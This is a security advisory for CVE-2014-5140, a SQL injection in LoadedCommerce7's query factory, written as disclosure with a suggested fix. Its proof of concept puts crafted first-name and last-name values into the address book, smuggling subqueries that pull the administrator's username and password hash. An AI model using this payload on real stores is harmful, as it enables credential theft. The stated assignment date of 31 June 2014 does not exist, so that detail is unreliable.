LoadedCommerce7 - Systemic Query Factory Vulnerability

                                                Title:     LoadedCommerce7 Systemic Query Factory Vulnerability
 
Advisory:  http://breaking.technology/advisories/CVE-2014-5140.txt
 
Credits:   Discovered by Breaking Technology Research Labs 2014-06-30
 
Reference: CVE-2014-5140 - Assigned 31 June 2014
 
Timeline:
           Vendor notified - 29 July 2014
           Vendor confirmed exploit 30 July 2014
 
 
Severity:           Critical
Attack Complexity:  Minimal
Classification:     SQL injection, unsafe string replacement
 
Description:
 
    Loaded Commerce 7 shopping cart/online store suffers from a systemic vulnerability in its query factory, allowing attackers to circumvent user input sanitizing to perform remote SQL injection.
 
Proof of Concept:
 
    Have a valid customer account and create a new contact in your address book using the following values.
 
 
    First name: :entry_lastname,
    Last Name : ,(select user_name from lc_administrators order by id asc limit 1),(select user_password from lc_administrators order by id asc limit 1),3,4,5,6,7,8,9,10)#
 
    The new contact will be added to your address book with the admin hash as the contact's street address
 
Suggested Fix:
    Sanitize all user input before using it as any part of a query-- specifically remove or encode the colon (:) character before passing it to a query value.  A similar fix was issued for tomatocart, available at
        https://github.com/tomatocart/TomatoCart-v1/pull/238